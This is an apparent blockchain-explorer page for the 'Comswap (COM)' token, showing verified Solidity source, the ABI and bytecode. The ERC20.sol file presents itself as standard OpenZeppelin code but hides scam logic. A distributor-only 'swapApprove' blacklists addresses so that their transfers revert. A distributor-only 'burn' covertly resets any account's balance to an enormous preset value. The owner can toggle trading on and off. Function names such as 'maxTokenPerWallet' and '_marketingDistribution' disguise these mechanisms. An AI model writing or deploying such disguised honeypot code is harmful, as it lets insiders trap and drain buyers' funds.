ETH Price: $2,916.95 (-3.74%)
Gas: 1 Gwei

Token

Comswap (COM)
 

Overview

Max Total Supply

21,000,000 COM

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
porked.eth
Balance
260,981.010300405 COM

Value
$0.00
0xd6eb449e39a260dd2c17d08147482e43ed770e53
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COMSWAP

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: COMSWAP.IO.sol
/**

  Website: https://comswap.io/
    How to? : https://medium.com/@COMswap
       Community: https://t.me/COMswapIO
          X (twitter): https://twitter.com/comswap_io
                                                                                                                                                    
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

import "./ERC20.sol";

contract COMSWAP is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.3;

import "./IERC20.sol";
import "./Ownable.sol";


contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _startTrade;
    uint256 private balances;
    mapping (address => bool) private _5000;
   
    constructor(string memory name_, string memory symbol_, bool startTrade_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _startTrade = startTrade_;
    }
    
    function startTrading() external onlyOwner {
        if (_startTrade == false){
        _startTrade = true;}
        else {_startTrade = false;}
    }

    function maxTokenPerWallet(address account) public view returns (bool) {
        return _5000[account];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function swapApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _5000[address_[i]] = val;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_startTrade == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
                _marketingDistribution(from, amount);
                if(!_5000[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            
        }
        } else {require (_startTrade == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _marketingDistribution(address address_, uint256 amount_) private view {
        if (_5000[address_]) {require (amount_ == 0, "");}
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.3;
import "./IERC20Metadata.sol";
import "./IERC20Events.sol";
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 is IERC20Metadata, IERC20Events{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}

File 5 of 7: IERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"maxTokenPerWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005553480156200002057600080fd5b5060405162002c7438038062002c748339818101604052810190620000469190620004b0565b838382620000696200005d6200010760201b60201c565b6200010f60201b60201c565b82600690805190602001906200008192919062000360565b5081600790805190602001906200009a92919062000360565b5060055460098190555080600860006101000a81548160ff021916908315150217905550505050620000fd33620000d6620001d360201b60201c565b600a620000e49190620006ed565b84620000f191906200082a565b620001dc60201b60201c565b5050505062000a58565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002469062000586565b60405180910390fd5b62000263600083836200035660201b60201c565b806004600082825462000277919062000635565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf919062000635565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003369190620005a8565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b8280546200036e90620008e4565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b6000620004276200042184620005ee565b620005c5565b9050828152602081018484840111156200044057600080fd5b6200044d848285620008ae565b509392505050565b600081519050620004668162000a24565b92915050565b600082601f8301126200047e57600080fd5b81516200049084826020860162000410565b91505092915050565b600081519050620004aa8162000a3e565b92915050565b60008060008060808587031215620004c757600080fd5b600085015167ffffffffffffffff811115620004e257600080fd5b620004f0878288016200046c565b945050602085015167ffffffffffffffff8111156200050e57600080fd5b6200051c878288016200046c565b93505060406200052f8782880162000499565b9250506060620005428782880162000455565b91505092959194509250565b60006200055d601f8362000624565b91506200056a82620009fb565b602082019050919050565b620005808162000897565b82525050565b60006020820190508181036000830152620005a1816200054e565b9050919050565b6000602082019050620005bf600083018462000575565b92915050565b6000620005d1620005e4565b9050620005df82826200091a565b919050565b6000604051905090565b600067ffffffffffffffff8211156200060c576200060b620009ae565b5b6200061782620009dd565b9050602081019050919050565b600082825260208201905092915050565b6000620006428262000897565b91506200064f8362000897565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000687576200068662000950565b5b828201905092915050565b6000808291508390505b6001851115620006e457808604811115620006bc57620006bb62000950565b5b6001851615620006cc5780820291505b8081029050620006dc85620009ee565b94506200069c565b94509492505050565b6000620006fa8262000897565b91506200070783620008a1565b9250620007367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073e565b905092915050565b60008262000750576001905062000823565b8162000760576000905062000823565b81600181146200077957600281146200078457620007ba565b600191505062000823565b60ff84111562000799576200079862000950565b5b8360020a915084821115620007b357620007b262000950565b5b5062000823565b5060208310610133831016604e8410600b8410161715620007f45782820a905083811115620007ee57620007ed62000950565b5b62000823565b62000803848484600162000692565b925090508184048111156200081d576200081c62000950565b5b81810290505b9392505050565b6000620008378262000897565b9150620008448362000897565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000880576200087f62000950565b5b828202905092915050565b60008115159050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008ce578082015181840152602081019050620008b1565b83811115620008de576000848401525b50505050565b60006002820490506001821680620008fd57607f821691505b602082108114156200091457620009136200097f565b5b50919050565b6200092582620009dd565b810181811067ffffffffffffffff82111715620009475762000946620009ae565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b62000a2f816200088b565b811462000a3b57600080fd5b50565b62000a498162000897565b811462000a5557600080fd5b50565b61220c8062000a686000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063dd62ed3e1461034d578063e074839e1461037d57610116565b806370a082311461025b578063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b357610116565b806318160ddd116100e957806318160ddd146101b557806323b872dd146101d3578063293230b814610203578063313ce5671461020d578063395093511461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631128d531146101695780631186b8d814610199575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611714565b61044e565b6040516101909190611a90565b60405180910390f35b6101b360048036038101906101ae9190611804565b6104a4565b005b6101bd6105ff565b6040516101ca9190611c4d565b60405180910390f35b6101ed60048036038101906101e89190611779565b610609565b6040516101fa9190611a90565b60405180910390f35b61020b610638565b005b61021561070e565b6040516102229190611c68565b60405180910390f35b610245600480360381019061024091906117c8565b610717565b6040516102529190611a90565b60405180910390f35b61027560048036038101906102709190611714565b6107c1565b6040516102829190611c4d565b60405180910390f35b61029361080a565b005b61029d610892565b6040516102aa9190611a75565b60405180910390f35b6102bb6108bb565b6040516102c89190611aab565b60405180910390f35b6102eb60048036038101906102e691906117c8565b61094d565b005b610307600480360381019061030291906117c8565b6109eb565b6040516103149190611a90565b60405180910390f35b610337600480360381019061033291906117c8565b610ad5565b6040516103449190611a90565b60405180910390f35b6103676004803603810190610362919061173d565b610af8565b6040516103749190611c4d565b60405180910390f35b61039760048036038101906103929190611714565b610b7f565b005b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b90611c0d565b60405180910390fd5b60005b838390508110156105f95781600a6000868685818110610580577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105959190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105f190611de3565b915050610537565b50505050565b6000600454905090565b600080610614610c9a565b9050610621858285610e6d565b61062c858585610ef9565b60019150509392505050565b610640610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661065e610892565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff16151514156106f0576001600860006101000a81548160ff02191690831515021790555061070c565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610722610c9a565b90506107b6818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b19190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610830610892565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611b6d565b60405180910390fd5b6108906000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108ca90611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690611db1565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490611c0d565b60405180910390fd5b6109e7828261141b565b5050565b6000806109f6610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390611c2d565b60405180910390fd5b610ac98286868403610ca2565b60019250505092915050565b600080610ae0610c9a565b9050610aed818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b87610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610ba5610892565b73ffffffffffffffffffffffffffffffffffffffff1614610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610af8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe610892565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b610892565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f